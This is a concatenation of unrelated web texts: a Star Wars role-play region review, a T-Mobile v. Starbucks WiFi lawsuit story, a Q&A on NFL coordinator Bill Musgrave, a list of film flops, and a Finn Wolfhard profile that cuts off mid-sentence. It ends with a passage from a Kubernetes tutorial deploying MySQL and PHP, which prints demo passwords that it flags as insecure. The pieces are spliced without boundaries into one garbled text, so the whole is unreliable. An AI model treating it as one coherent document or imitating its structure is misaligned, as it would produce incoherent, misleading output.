The lower levels of Bakura look to be the equivalent of Mos Eisley. There are bars, clubs, little apartments, warehouses and a lighting environment ideal for shady deals and nefarious role-play!
New Alderaan is altogether a colder, harsher place; think Hoth without the big guns. Here the snow falls and the wind hisses, and a number of buildings stand among the trees, including what might be some kind of medical centre.
Bakura, the Fourth Dimension
all of the builds in the region are enclosed, with no use made of the terrain at all, which I found greatly added to the immersive feel to the place. If you’re into Star Wars RP, and haven’t done so already, then the Fourth Dimension may well be worth a visit. I certainly enjoyed by time exploring and wandering.
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AdvertisementsWhat do they say – one man’s meat is another man’s poison. Looks like that was for T-Mobile USA that has filed a lawsuit against Starbucks, which had recently switched over from T-Mobile to AT&T.
AT&T offering free WiFi at Starbucks locations is putting the hurt on T-Mobile’s WiFi business, prompted the lawsuit. (Hey Ma Bell, thanks for listening to our suggestion about free Wifi. ) At the time of the original WiFi announcement all three parties – Starbucks, T-Mobile and AT&T – made polite noises about getting along and impacting each other’s business.
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Even though, only two markets (San Antonio, TX & Bakersfield, Calif.) have switched to AT&T, T-Mobile is chagrined that Starbucks & AT&T are offering a free WiFi promotion. ( Rest of the Starbucks’ stores still use the T-Mobile network. As a result the free offer breaches most of the agreements put in place between the three parties.
“Our wifi business is a key component of our strategy as we are looking at it to build our TMobile@Home offering,” Peter Daobrow, spokesperson for T-Mobile said in conversation this morning, The company plans to have about ten T-Mobile@Home devices by end of this year. He wouldn’t say how much his company is going to lose because of Starbucks actions. “After six plus years of our relationship this was quite a disappointment. They didn’t involve us even though it does impact us financially.”
The fact that a coffee seller has become a key pawn for two telecoms is amusing. First, the free WiFi is vital for AT&T, which might be facing the worst kind of network usage with the launch of 3G iPhone. They need to offload as much traffic off the 3G network to WiFi networks, whether at home, work or at Starbucks. T-Mobile on the other hand seems to make a considerable amount of money from its WiFi network, which also compensates for its current lack of 3G network. [Full lawsuit embedded below the fold.]Yesterday night the Oakland Raiders opted to hire Bill Musgrave as their new offensive coordinator, passing over Marc Trestman to hire the former Jacksonville Jaguars playcaller who worked under new head coach Jack Del Rio in 2003 and 2004. Musgrave most recently was the quarterbacks coach of the Philadelphia Eagles, coaching up Nick Foles and Mark Sanchez while learning some of the up-tempo offense ran by head coach Chip Kelly for one season.
However Musgrave’s biggest claim to fame is his work with the Minnesota Vikings where he rode Adrian Peterson to a 2,000 yard rushing season while also working with below average quarterbacks in a run where the team never quite reached the success it should have with the weapon of the best runner since 2000 in the backfield.
We sat down with Vikings and NFL analyst Arif Hasan to break down Musgrave’s run in Minnesota and how it could translate to Oakland. Here is our interview with Hasan in full:
1) First things first is the presence of Adrian Peterson during Musgrave’s tenure in Minnesota? How much did the presence of the best running back in the league mask Musgrave’s OC abilities? How do you see that factoring now that he has another big role in Oakland?
I think this is definitely relevant in evaluating Musgrave, but not particularly relevant for the Raiders. I’ll explain that part in a bit, but the first thing you have to remember about Bill Musgrave is that there isn’t much of Adrian Peterson’s historic season that I think should be reasonably assigned to him, for two reasons: 1) It’s Adrian Peterson with the best run blocking he’s had in his career, 2) Musgrave was not the run game coordinator; that was Jeff Davidson, the offensive line coach. The reason that won’t matter much to the Raiders is because I think that Mike Tice will do much of the run game coordinating and that he’s very good at that. So, it’s a wash.
So in that regard, yes Adrian does make it tough to evaluate Musgrave. It also, to some extent, guided his philosophy. Even poor coordinators would know that, on-balance, it’s smart to run the best running back in football. He did it in Minnesota and he did it in Jacksonville with Fred Taylor. I don’t know if he will continue to engage in run-heavy schemes because there seems to be more passing talent than running talent in Oakland, but I’m not sure his history is a great guide.
The Vikings offense in 2012 was 14th in points scored, 15th in DVOA, 15th in points per drive and so on. Accounting for field position and strength of opponent, the numbers don’t change much. If you “spot” him the 2000 yard season, he compares OK to the other offenses who had 2000-yard rushers. In points scored, those offenses ranked (in reverse chronological order) 16th (of 32), 8th (of 32), 2nd (of 30), 4th (of 30), 12th (of 28) and 15th (of 26).
I still think that doesn’t tell the whole story, however, and Musgrave too often left points off the field. Remember, it was also a crazy year for kicker Blair Walsh (35 for 38, going 10 for 10 on kicks over 50 yards) and the kick return game (3rd-highest average in NFL history, behind two players from 1967), not just Adrian Peterson.
Generally speaking, I think broad statistics do not capture Musgrave’s impact on the offense because of these sorts of factors.
2) Beyond Peterson, what were your thoughts on Musgrave’s use of the Vikings talent? Percy Harvin comes to mind as a player on the Minnesota roster at the time, how did Musgrave utilize his talent outside of Peterson?
Outside of Percy Harvin, it’s generally acknowledged that there wasn’t much talent at wide receiver. That’s not something it’s very easy to blame on Musgrave, either. Between Jerome Simpson, Devin Aromashodu and Michael Jenkins, what were you going to do? I think Patterson and Jennings are talented but I think for the most part, Musgrave shined at using unique players and threw out clunkers when it came to running a conventional offense. So the Greg Jennings of the world floundered while the Pattersons and Harvins flourished.
At times, Musgrave’s use of Harvin was inspired. I loved it. Musgrave is an intensely creative play designer and while I’ve spent a fair bit of internet space criticizing Musgrave, one thing that he deserves credit for is unlocking Harvin—evidently the only person to do so. I have written odes to that aspect of his design ability (I’ll link them at the end of this Q&A), but suffice to say he found new and effective ways to get Percy Harvin the ball. It wasn’t just one formation or one gimmick, like lining him up in the backfield, but it was a whole series of graduated concepts that built off of each other and did a good job establishing and breaking tendencies. It worked well off of expected opponent responses.
Creative is good, and effective is better, but very often Musgrave would get a little too creative and sacrifice effectiveness. I also think that creativity would eliminate some aspects of Harvin’s play that made him a good playmaker, even if it wasn’t a unique ability he had. Harvin, in my mind, is a reliable deep option that was rarely used that way (ever. At Florida, he was effectively a running back, while under Bevell in Minnesota and Seattle he rarely went deep. The Jets don’t do it much either). When he was used on deep routes, Harvin was quite good.
I think that’s an issue for Musgrave in general, which is that he assigns player roles and then does not explore the boundaries of what players can do outside of those roles that can help the offense. Jerome Simpson, for all of his issues, is good at finding open spaces, sitting in zones and reading defenses. He is also very fast. Musgrave liked that last fact quite a bit and had him play in roles suited for a traditional split end without thinking about the opportunities afforded by a receiver who is very good (and natural) at option routes.
Greg Jennings is a fantastic receiver (whose statistical regression in Minnesota is more due to quarterback play than it is age or offensive coordinator, or that he “doesn’t have Aaron Rodgers”) who excels in a phonebooth, but he was used as a bog-standard slot receiver and “small” flanker in two-receiver sets. He’s good at that, too, but he could have benefited from drive/shallow options, smash routes and so on—even more two-way go type stuff that slot receivers are expected to do.
One final bit—Joe Webb was converted to wide receiver, but every indication was made that he would be given a “slash”-type role in the mold of Kordell Stewart, with a package that would see him on the field (called “Blazer” after Joe Webb’s now-defunct college mascot). It was one of the worst experiments with a unique player I’d ever seen. Imagine a wildcat (which is what it was, functionally) that only had runs up the gut.
3) Musgrave never had the greatest quarterbacks in his time with the Vikings? Ponder and Cassel don’t exactly scream top of the league in passing, does that excuse some of his failures in creating a balanced attack or should Raiders fans be concerned with Derek Carr’s development now that they have their new offensive coordinator?
No he did not. In some sense it probably does excuse him. But Cassel is an interesting case in my mind. Average passer rating is 87.1. Cassel had two years above that—Josh McDaniels and Charlie Weis were the coordinators in those years. People generally accept that those guys are good coordinators. Cassel ranked 10th and 8th in passer rating those years.
I will say that Cassel had his third-best year with Musgrave at the helm, but that was over a six-game sample, and he benefited from some unique luck, like unusually long receiver runs and a lot of dropped interceptions (which is why Pro Football Focus ranked him 28th that year—and he only ranked 25th in passer rating anyway).
We could go into other, better quarterback stats, like adjusted net yards per attempt and so on, but the point remains the same: Cassel is not a terrible litmus test for coordinators because he doesn’t look that bad with decent ones and he looked pretty bad with Musgrave. His other offensive coordinators were Bill Muir and Brian Daboll. Muir is out of the league, and Daboll is a tight ends coach.
That said, it’s not like Cassel is God’s Golden Arm, so I will agree that having him and Ponder (and Joe Webb, Josh Freeman and Donovan McNabb) are not amazing tools to work with. Still, it is difficult to believe that Christian Ponder throws three whole games with a passer rating below 39.6 (achieved by throwing only incomplete passes) out of 36 total games were it not for Musgrave. I cannot say with certainty that Ponder would have developed better under a different coordinator, but I will say it is unlikely that Musgrave’s offense contributed positively to Ponder’s development. It eschewed aggression, took the offense out of the quarterback’s hands, consistently called for easy throws and so on.
Because of the strength of early impressions in memory, Vikings fans will like to say that the offense became more aggressive under Matt Cassel, but the truth is that Ponder, McNabb and Cassel all had very low depths of target and they all operated with a number of easy throws where difficult ones were called for. Those throws tend to be easy for a reason.
If you’re of the belief that an excessive use of screen passes can hinder a quarterback’s development, watch out. Ponder threw 26% of his passes behind the line of scrimmage. The league average is 17.1 percent, and the so-called elite QBs in that time (Manning, Rodgers, Brady and Brees) threw behind the LOS 14.7% of the time. Even screen-happy Washington threw it less often in Griffin’s rookie year. Only Nick Foles threw it behind the LOS more that year (in his six games).
It’s not even the high volume of called screens that are a problem. Nick Foles threw it deep more often than Ponder did, as did every other quarterback with a high screen-pass rate. The route concepts in the offense rarely even let a receiver go intermediate, much less deep. It was stifling. You didn’t see classic route concepts, like smash, levels, shake and so on that let a receiver get deep with another receiver creating a conflict—instead there were a lot of curls, shallow crosses, hitch/stick routes and so on.
As for footwork, mechanics and so on, I couldn’t tell you if Cassel got worse with Musgrave or if Ponder would have done better in that regard elsewhere, but I can say it looked like Ponder’s mechanics regressed in his time in Minnesota and that he occasionally looked more sound mechanically at Florida State. Ponder never went through his progressions quickly enough—how much of that is on the OC and how much on the quarterback? Difficult to say, but I would guess it is not the fault of only one of them.
4) Minnesota never seemed to get over the hump despite having Peterson in his prime with Leslie Frazier and Musgrave at the helm? How much is that to blame on Musgrave, or was it a factor of not having the roster pieces needed to contend in the NFC despite the rushing attack?
I don’t think the Vikings would have won the Super Bowl with better pieces and Bill Musgrave or with a better offensive coordinator but the same pieces. If you “spot” the new offensive coordinator a 2000-yard running season, I think the Vikings would have gotten closer with an average OC and they would not have had to go on an improbable, four-game winning streak at the end of the season in order to get into the playoffs.
Coaches often like to think of the game (in-game) not in terms of yards or points, but first downs. Getting and preventing first downs is generally the priority on a play-by-play basis. Adrian Peterson got 3 or more yards 67% of the time he ran (league average outside of that is 55%). It shouldn’t be hard to make first downs, but the Vikings ranked 17th in first downs per down series. Musgrave as notoriously bad for third-down playcalling.
It should also be noted that Musgrave kept Percy Harvin out of red zone packages (like completely, you couldn’t see him on the field with less than 20 yards to go) until he was given explicit instructions by the head coach to put Harvin in (it was beautiful when it happened).
The offense constantly had to punt because of a repeated usage of five-yard curls and comeback routes on third-and-seven (or longer). For every positive that Bill Musgrave (deservedly or undeservedly) earns, the overwhelming weakness of his is his situational playcalling, and it overshadows the positive qualities involved with creative playcalling, unique offensive integration and potentially quarterback development. It’s such a bad quality of his that I don’t think any other quality he has much matters.
He also has a habit of overcomplicating. Despite the fact that he made throws easy (too easy) for the quarterbacks, he loved dialing up really complicated and intricate plays that were prone to failure, particularly with Harvin (something Davidson is not responsible for). I wrote this about that issue, in this case specifically to a two-fullback formation he pulled out:
While I have no problems with complicated schemes or complex plays, adding complexity to something that can be simple only increases the likelihood of failure. Adding an additional blocker at the cost of an additional defender is almost always a loss for the offense, because it only adds to the number of things that could go wrong at the point of attack without increasing the chances that something could go right. If every blocker makes their block, it works (like Peterson’s 21 yard run out of this formation), but that is true of any formation.
And just like any other formation, when one blocker messes up, the play dies. It increases the likelihood that a blocker’s mistake has an impact, and increases the impact of that play failure.
Oversimplifying is almost always preferable to overcomplicating, nearly regardless of activity. This is an example of adding complexity without any discernible benefit. It also serves as a huge run alert for the defense, increasing the likelihood they run downhill into the gaps to prevent a run. While this theoretically could set up a good play action for the next game (relying on self-scouting to take advantage of one’s own tendencies), there would only be two reliable receivers on the play. One tight end (because at this point, only Rudolph can be considered reliable among the tight ends) and one wide receiver (as a result of the package).
5) Lastly, how do you see Musgrave panning out in Oakland? He only lasted two years under Jack Del Rio the first time around, will this be any different than his mostly forgettable time with the Vikings save for Adrian Peterson putting up historical rushing totals?
I don’t think he will pan out. I think he will be fired and replaced, hopefully with the rest of the coaching staff in place. I cannot stress enough how mind-boggling his in-game management is. Instead, I’ll link to some pieces I wrote a while back. Here’s one criticizing him after the 2012 season. I wrote a piece on Percy Harvin that includes a ton of stuff about his creativity in a guest post for Field Gulls here. I wrote game notes on the Vikings offense for a few games in 2012. The playcalling sections in each of the notes will be relevant. Here’s Week One, Week Two, Week Three, Week Four, Week Five, Week Six and Week Seven.
Lots of screens on third and long. Lots of routes that only go five yards on third and long. A very high percentage of plays where no receiver goes past the down marker on third down. It’s infuriating and I have no idea how I can emphasize it enough.
There are other issues—his week-to-week gameplanning is superb, but his in-game adjustment ability is abysmal. The offense rarely could run quickly, and a lot of two-minute drills stalled out. Some of that lack of urgency may be on the coach, but it wasn’t just urgency (a huge problem that he is partially responsible for), but a long time to actually call the play. The no-huddle was effective, but he couldn’t figure out how to exploit that (either going to it too late, or not considering it at moments of the game outside of the two-minute warning).
Still, the third-down stuff is what sticks. As I point out in the Bleacher Report piece, these criticisms existed before Minnesota—he had them in Jacksonville and Carolina too.
I hope that helps. For those curious about my other work, I no longer write for any of the sites I linked, but instead write for Vikings Territory and Vikings Journal. My favorite recent piece is one where I era-adjust Hall-of-Fame quarterbacks and compare their first years in the league to Teddy’s. I will be doing something similar for each rookie quarterback after the Super Bowl.
Thanks to Arif for taking the time to talk with us about Musgrave in Minnesota. You can follow him on Twitter @ArifHasanNFL.The Biggest Box Office Bomb: Cut Throat Island
The largest net loss ever recorded in film goes to the feminist pirate epic Cutthroat Island starring Geena Davis. The film cost a staggering $115 million to produce but made a paltry $10 million at the box office. The losses reported from this film forced one-time production giant Carolco Pictures (The Rambo Series, Total Recall) into bankruptcy after yet another disaster Showgirls. The film was lambasted by critics as “strangely devoid of any genuine fun or excitement,” and effectively killed Geena Davis’ chances of ever becoming a bankable star, relegating the actress to a failed sitcom and a brief run as the first female president in Commander in Chief. Perhaps the film suffered because Davis’ then husband Renny Harlin directed the feature and cast his wife in the main role, usually not the best idea (see Swept Away). The worst part about this film is that even now it is completely unwatchable. Unlike other box office disasters like Battlefield Earth or The Adventures of Pluto Nash, which enjoy a cult following for how awful they are, Cutthroat Island is worse than awful… it’s boring.
The Worst Reviewed Film of All Time: Bucky Larson-Born to Be a Star
Bucky Larson marks the magnum opus of Adam Sandler’s Happy Madison Production’s string of terrible movies including Jack and Jill, You Don’t Mess with the Zohan, and Benchwarmers. The story follows Bucky Larson, played by Nick Swardson, a small town grocery store clerk who discovers that his conservative parents were once adult film stars. Upon gaining this information Bucky flies out the Los Angeles to follow in their footsteps only to be informed that he has a micropenis. That’s the plot. The film aspires to be the anti-Boogie Nights but suffers from extremely underdeveloped writing and repetition of the same joke for an hour and a half. One reviewer put it perfectly, “A comic monstrosity…plays like an unfunny idea for a raunchy five-minute sketch that’s been cruelly extended to an insufferable ninety-six minutes.” Co-starring bad movie magnet Steven Dorff, Bucky Larson is the perfect example of how Adam Sandler has definitely lost “the funny” and makes you wonder if he ever had it in the first place.
Biggest On Set Disaster: The Conqueror
There have been many well known on-set accidents, like the death of Brandon Lee while filming The Crow, but few people know the production of Howard Hughes’ epic The Conqueror led to 91 members of the cast and crew contracting cancer including stars John Wayne, Susan Hayward, Agnes Moorehead and director Dick Powell. Experts attribute the large number of cancer diagnoses to the nuclear fallout from atomic bomb testing in nearby Nevada. The worst part about this tragedy? Nobody was allowed to see the movie for almost twenty years after production halted. Why? Hughes apparently despised the film so much that he purchased every copy of the reel so that it would never be seen by the general public. In his later, more paranoid, years Hughes would allegedly screen the film every night to remind himself of what a massive failure it was. It wasn’t until 1974 that Paramount would reach a deal with Hughes to allow it’s distribution.
The Most Unfortunate Film Shoot: The Man Who Killed Don Quixote
Terry Gilliam wins the prize for most unforeseen complications during a film shoot for his 2000 film The Man Who Killed Don Quixote which was so mired with bad luck that it never even finished production. The Brazil director’s many misfortunes include an $8 million cut to his budget, military jets constantly flying over a main shooting location, a flash flood washing away equipment, and the lead actor suffering from a double herniated disc forcing the production to halt indefinitely. The entire disaster was chronicled in the documentary Lost in La Mancha which features a very pissed off Terry Gilliam scrambling to deal with the mounting number of issues plaguing the film. Gilliam has since tried to get the project back on its feet with a new script and cast but no news of the film has been released since 2010.
Worst Film Adaptation/Sequel: Catwoman
Halle Berry’s turn as the Batman antagonist Catwoman is widely regarded by the comic book community as the worst superhero movie ever made. All but destroying the source material, Catwoman ignores the origin story set up in the DC comics mythology giving Catwoman superpowers and the ability to jump from rooftop to rooftop in stiletto heels. How does Halle get these powers? She drowns in a pipe and a magical cat brings her back to life… Additionally, producers of the film decided to ditch the iconic Lycra body suit characteristic of Catwoman in favor of skin tight leather jeans and a bra. The film was so bad that one critic suggested that Berry give back her 2001 Academy Award. The production company also lost boatloads of money trying to merchandise the film with action figures and the ill-conceived concept of selling diamond Catwoman claws.After spending his summer shooting It in and around Toronto, Finn Wolfhard is onto shooting the next season of Stranger Things
This year, the Netflix original series Stranger Things took the world by storm, and starring as Mike Wheeler, Finn Wolfhard was right in the thick of it
TO PURCHASE THIS ISSUE WITH FINN WOLFHARD PLEASE CLICK HERE
The 13-year-old star went supersonic after stealing the show in Netflix’s summer smash series Stranger Things. Now, as he embarks on some even spookier projects, City Life takes a ride with horror’s new wonder kid.
I realize my mistake about seven seconds after Finn Wolfhard hops out of his car.
“Sorry my voice is a bit hoarse,” he says with an apologetic shrug. “We’ve been screaming and crying a lot on set this week.”
I look from the 13-year-old actor to the towering Leviathan behind us, just as the next train of thrill-seekers shrieks past at 148 kilometres per hour, and wonder if an amusement park was really the smartest spot to bring him for our interview.
But pandemonium is Wolfhard’s forte. He first appeared on our screens this summer next to Winona Ryder in Stranger Things, Netflix’s retro-style sci-fi/horror series that promptly earned cult status and a renewal for a second season. He was such a natural at playing the role of Mike Wheeler, a character that pays perfect homage to the young and curious hero of vintage space opera, that Wolfhard was basically a shoo-in for the cast of the Toronto-shot remake of It. In shifting from a series that’s inspired by the ’80s imaginings of Stephen King to a flick that’s set out to reimagine an actual Stephen King classic, Wolfhard’s jumped from one unearthly monster to the next, screaming and scheming all the way.
Despite having left most of his voice (and most of his energy) in the studio, Wolfhard is as buoyant and bubbly as the invincible tween he is as we wade through the unusually humid September air and into a shimmery golden hour at Canada’s Wonderland. Trying to be as inconspicuous as it’s possible to be while being trailed by a bodyguard, a publicist and two photographers, we walk up to a squirt-gun game manned by a young woman with a headset microphone. She welcomes us to the fun, pauses — and then, eyes widening, she blurts through her speaker, “Oh, my God — it’s the kid from Stranger Things!” Oops. Better get moving.
“I love your show, have a great day!” she exclaims, drawing dozens of eyes our way, as Wolfhard frantically thanks her while backing away.
“Thanks! Thanks so much,” he says with |
, give your cluster 2-5 minutes to deploy volumes, download the MySQL image, and finish setting things up. Check to see if the MySQL pod is up with: kubectl describe pods mysql Optional - view the pod logs, substituting your own pod name, which can be obtained using the describe command above. kubectl logs mysql-1259503160-l6kc5 Now, let’s check to see if the MySQL server is up, by using the command line. Create an ephemeral pod, which stays up for a few minutes for testing, and then removes itself. This one will be built with the MySQL client image, and let us connect with bash so we can run commands. kubectl run -i -t --rm ephemeral --image = mysql -- /bin/sh -l Your temporary pod should start up. Press Enter to get a command prompt. Now, connect to MySQL - the MySQL server that’s running in our other pod. mysql -h mysql.default.svc.cluster.local -P 3306 -u root -pvarMyRootPass Note our settings: We’re connecting on the host mysql.default.svc.cluster.local, which is the service we set up in our manifest file. We’re using port 3306 and the username and password from our Secret. (We’re using the username and password directly, since we didn’t pass this ephemeral pod any environment variables from our Secret.) Now you should see a MySQL prompt. Try showing our databases: mysql > show databases ; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sakila | | sys | +--------------------+ 5 rows in set ( 0. 00 sec ) This indicates that your database server is up and running, and accessible from other pods in the cluster. Run other MySQL commands as needed. However, we recommend initializing the database programatically, as shown in a later step. The ephemeral pod will remove itself after few minutes of inactivity with the following output: mysql> Session ended, resume using 'kubectl attach ephemeral-546807040-rvz86 -c ephemeral -i -t' command when the pod is running deployment "ephemeral" deleted You can always run the command to create the MySQL client pod again, if you would like to resume testing. If you need to destroy and then recreate the deployment, here’s the whole sequence of commands. Note that this tears down the entire setup, including deleting our storage volume with all our data. This would not be the recommended way to update to a new MySQL image, since that can be handled with the Kubernetes Deployment object. Run these commands to tear down, recreate, and then connect to MySQL on Kubernetes: kubectl delete deployment mysql kubectl delete service mysql kubectl delete persistentvolumeclaim database kubectl create -f mysql.yaml kubectl describe pods mysql kubectl logs mysql-1259503160-l6kc5 kubectl run -i -t --rm ephemeral --image = mysql -- /bin/sh -l To tear down everything even faster, you can run this destructive command: kubectl delete -f mysql.yaml Now that our database is in place, let’s deploy our custom PHP application. We’ll use a Kubernetes Deployment object for PHP, too.
4. Use kubectl to deploy PHP Let’s use kubectl to deploy PHP and Apache on our Kubernetes cluster. The only command we need to deploy these Kubernetes objects from our php.yaml file is: kubectl create -f php.yaml You’ll see the following output for a successful deployment: deployment "php-dbconnect" created service "web" created This creates the PHP and Apache server with a load balancer named web. It may take about 2-5 minutes to provision the load balancer. The functional details for our PHP server are in the Kubernetes YAML configuration file. Let’s unpack the configuration file, so we can understand what Kubernetes is doing to create our PHP server. The complete file is on GitHub (view php.yaml here) and includes section-by-section comments. The YAML deploys two distinct Kubernetes objects, separated by --- in the file: A Deployment, like we used for MySQL. Our Deployment calls for three pods with one PHP container each, imaged from the our custom PHP image on Docker Hub. This is how we deploy our PHP application on our cluster.
A Service, which allows for consistent network access to our PHP/Apache server, even as Kubernetes handles pod logistics behind the scenes. Our particular Service is a Kubernetes LoadBalancer that uses AWS Elastic Load Balancing. This is a paid resource. It makes our application available on the internet on port 80 (standard web port). We can use the load balancer’s DNS name to access our application over the internet. We recommend reading through the comments in php.yaml for a detailed look at the Kubernetes configuration. Our PHP application takes advantage of Kubernetes for load balancing, versioning, and security. It provisions AWS Elastic Load Balancing as a front end for the application. This works because we have cloudprovider=aws enabled on the cluster. With automatic load balancer provisioning, it’s nearly effortless to have a front end that load balances traffic to our application automatically. Our Kubernetes Deployment keeps the number of PHP pods optimized to three. This lets Kubernetes load balance traffic to the application. A Deployment also makes rolling updates relatively painless when you publish a new version of the application. Finally, we can scale out even further by updating a single line ( replicas: 3 ) in our configuration file. For example, we could run this command to update to five replicas: kubectl scale --replicas=5 deployment/php-dbconnect. There’s also no need to store our MySQL credentials anywhere in our application code. Kubernetes reads values from the Secret we configured earlier and passes them to the pod via environment variables. We’ll go over the specific environment variables below. How do I use this PHP/Apache server? Our PHP image includes Apache, so the web server is built in. It serves content for the default website from /var/www/html/ in the container. If you go back to the first step in this tutorial, you can read how to add your own application content to this directory. If you have your own PHP image to use, replace this line in the php.yaml file: - image : heptio/example-php-dbconnect Replace this with a link to your own image at your own registry. (If a full URL is not specified, Kubernetes assumes the image is on Docker Hub.) Kubernetes does not make the container accessible to the public unless we tell it to, which is where the Service part of our deployment comes in. Once the Service has provisioned our load balancer, you can get its AWS DNS name with the following command: kubectl get service web -o wide You’ll get a lengthy DNS name in the EXTERNAL-IP column, which will look something like http://xxxxxxxxxxxxxxx.us-east-2.elb.amazonaws.com/. If you visit that URL in your browser, you will see the phpinfo() page from our PHP image. If you’re not able to connect, wait a few more minutes for AWS to finish provisioning the load balancer and configure its networking. If you visit http://xxxxxxxxxxxxxxx.us-east-2.elb.amazonaws.com/mysql-connect.php, you should see the message {"outcome":true}. This means our PHP app has connected to our database successfully. However, it is not showing any table names yet, because we haven’t initialized our database with any data. We’ll do this in the Job step below. You can use this load balancer DNS name with a CNAME DNS entry, to use your own domain for this application. To quote AWS’s advice about DNS and load balancers, Because the set of IP addresses associated with a LoadBalancer can change over time, you should never create an “A” record with any specific IP address. If you want to use a friendly DNS name for your load balancer instead of the name generated by the Elastic Load Balancing service, you should create a CNAME record for the LoadBalancer DNS name, or use Amazon Route 53 to create a hosted zone. For more information, see Using Domain Names With Elastic Load Balancing The PHP server has a few environment variables set, related to the MySQL server. MYSQL_USER, MYSQL_PASSWORD, and MYSQL_HOST are all used by our database connection script in a later step. The environment variables are imported from the Kubernetes Secret and set in your application container(s) by Kubernetes when we create the Deployment. For testing access to MySQL, you can also use the user root and password varMyRootPass, or user varMyDBUser and password varMyDBPass directly. Please generate your own users and passwords and store them in the Secret; using these defaults is not secure. You can connect to the server from a shell to check that the web server is up and curl it from the command line or execute other bash commands. Kubernetes PHP admin tips After running kubectl create -f php.yaml to deploy PHP, give your cluster 2-5 minutes to download the custom PHP image, and get the load balancer set up. Check to see if the pods are up: kubectl get pods -l app = php-dbconnect Describe a specific pod for details: kubectl describe php-dbconnect-3962733399-sn3th Optional - view one of the pod’s logs, substituting your own pod name, which can be obtained using the get command above. kubectl logs php-dbconnect-3962733399-sn3th Get a bash shell on one of the pods: kubectl exec -it php-dbconnect-3962733399-sn3th -- /bin/bash Use curl to see if the web server is responsive from localhost: curl localhost/mysql-connect.php At this stage, you should get this response: { "outcome" :true } Updating the application For development, if you want to make changes to your PHP application live on the server, it could make sense to scale this Deployment to replicas: 1 instead of replicas: 3. You can do this by running kubectl scale --replicas=1 deployment/php-dbconnect.That way, you’ll know you’re hitting the pod where you’re making the changes, because it’s the only pod. When you’ve got what you want, create a new application image for production use. Going into a pod on the command line is not a recommended way of updating your application. For that, you should build a new version of your image, publish it a registry, and update your Deployment to roll out the new image. We’ll discuss the recommended way to release a new version of your application in another article. For our demo application, our imagePullPolicy: Always makes sure we always check for the latest version of the PHP image when creating the Deployment, even if the version tag is the same. In a more robust devops environment, you’d want to take advantage of Kubernetes rolling updates and image versions instead. If you need to destroy and then recreate the deployment, here’s the whole sequence of commands. Note that this tears down the entire setup, including deleting our load balancer with the static DNS name. This would not be the recommended way to update to a new PHP image, since that can be handled with the Kubernetes Deployment object. Run these commands to tear down, recreate, and then connect to a bash shell on one of your PHP pods. You will have to use your own pod name instead of php-dbconnect-3962733399-sn3th. The three pod names will be listed in the output from the kubectl get pods -l app=php-dbconnect command: kubectl delete service web kubectl delete deployment php-dbconnect kubectl create -f php.yaml kubectl get pods -l app = php-dbconnect kubectl describe php-dbconnect-3962733399-sn3th kubectl logs php-dbconnect-3962733399-sn3th kubectl exec -it php-dbconnect-3962733399-sn3th -- /bin/bash To tear down everything even faster, you can run this destructive command: kubectl delete -f php.yaml Next, let’s add some data to our database, using a one-time Kubernetes Job.
5. Use kubectl to initialize sample MySQL data Many LAMP applications need up-front database configuration. Whether you need to initialize your database schema, install a pre-existing data set, or both, you need a way to run some MySQL commands to import your data. Use kubectl to execute our data loader Job: kubectl create -f data-loader-job.yaml Successful output: job "mysql-data-loader-with-timeout" created This Job runs a script, mysql-sakila-data-loader.sh, that’s in a new container built from the same PHP image. When it’s done, our database has been initialized. View your URL again, which should be something like http://xxxxxxxxxxxxxxx.us-east-2.elb.amazonaws.com/mysql-connect.php, to see the effect on our application. You should see a list of table names beginning with actor. Our LAMP application is now complete. Our script mysql-sakila-data-loader.sh is also part of our PHP image, and is located in the image’s /tmp directory. While it’s not necessary to have our more permanent website files and our single-use script in the same Docker image, it’s convenient to package them together. This brief bash script uses curl to download the compressed database files for the Sakila example database from MySQL. This is a standard test database with information about movies. View the data loader script here. It is thoroughly commented. It keeps trying to import the data to MySQL until a check on one of the tables completes successfully. The data import is done with mysql-client. Because the mysql-sakila-data-loader.sh script has set -o errexit, if any commands in the script fail, the whole script returns nonzero. This is relevant to the Kubernetes Job that is responsible for executing the script. You can view the Job in the data-loader-job.yaml file in our GitHub project. The file is commented section by section. The data loader Job has restartPolicy: OnFailure, which means that the Job will keep trying to run the script until the script returns successfully - that is, with zero. Once it does complete successfully, the Job will not try to run again. This means that our stack starts trying to import the data once, keeps trying until it completes successfully, and then doesn’t ever try to import the data again. One of our PHP containers is up while the Job runs, but it doesn’t stay running indefinitely like the containers in our PHP Deployment. How do I run my own Job? Write your own script to import data or perform another one-time task on your stack. Run the script from an image with appropriate utilities and permissions. In the data-loader-job.yaml file, update the image: heptio/example-php-dbconnect to the image your script is on, and that has the necessary utilities. Update the command: ["/tmp/mysql-sakila-data-loader.sh"] to run your script. If the command is short enough, you can run it from the YAML file instead of putting it in a script (see the Kubernetes documentation about Jobs). Kubernetes Job admin tips If you need to reapply the data, first make sure the database is empty. Delete the Job, and then recreate it. kubectl delete -f data-loader-job.yaml kubectl create -f data-loader-job.yaml Our LAMP application is complete! The next two optional steps show you how to troubleshoot the PHP-to-MySQL connection a little bit, and how to customize this LAMP application further.
5. (Optional) Test the PHP connection to MySQL If you visit http://xxxxxxxxxxxxxxx.us-east-2.elb.amazonaws.com/mysql-connect.php, you should see a simple list of database names from the Sakila test database, starting with actor. If the database server is down, or the connection details are not correct, the PHP connection script at http://xxxxxxxxxxxxxxx.us-east-2.elb.amazonaws.com/mysql-connect.php shows: {"outcome":false,"message":"Unable to connect: PDOException: SQLSTATE[HY000] [2002] Connection timed out in \/var\/www\/html\/mysql-connect.php:7
Stack trace:
#0 \/var\/www\/html\/mysql-connect.php(7): PDO->__construct('mysql:host=mysq...', 'varMyDBUser', 'varMyDBPass', Array)
#1 {main}"} Note that the attempted username and password are displayed in this error message, so you would not want to be this explicit in a production environment! It does demonstrate that the secrets are being used by the script, via our environment variables. If the database connection works, but there’s no data: {"outcome":true} If the database connection works, and there is data (this is the desired state): actor actor_info address category city country customer customer_list film film_actor film_category film_list film_text inventory language nicer_but_slower_film_list payment rental sales_by_film_category sales_by_store staff staff_list store {"outcome":true} If the connection doesn’t work at all, see if you can connect from the PHP container to the MySQL server. Get a shell to one of the PHP pods (remember to kubectl get pods -l app=php-dbconnect to see the specific pod names). Get a bash shell: kubectl exec -it php-dbconnect-3962733399-sn3th -- /bin/bash Can you connect to the database server? mysql -h mysql.default.svc.cluster.local -P 3306 -u root -pvarMyRootPass The host mysql.default.svc.cluster.local is the service we set up in our manifest file. We’re using port 3306 and the root password varMyRootPass, for troubleshooting. Now you should see a MySQL prompt. Try showing our databases: mysql > show databases ; +--------------------+ | Database | +--------------------+ | information_schema | | mysql 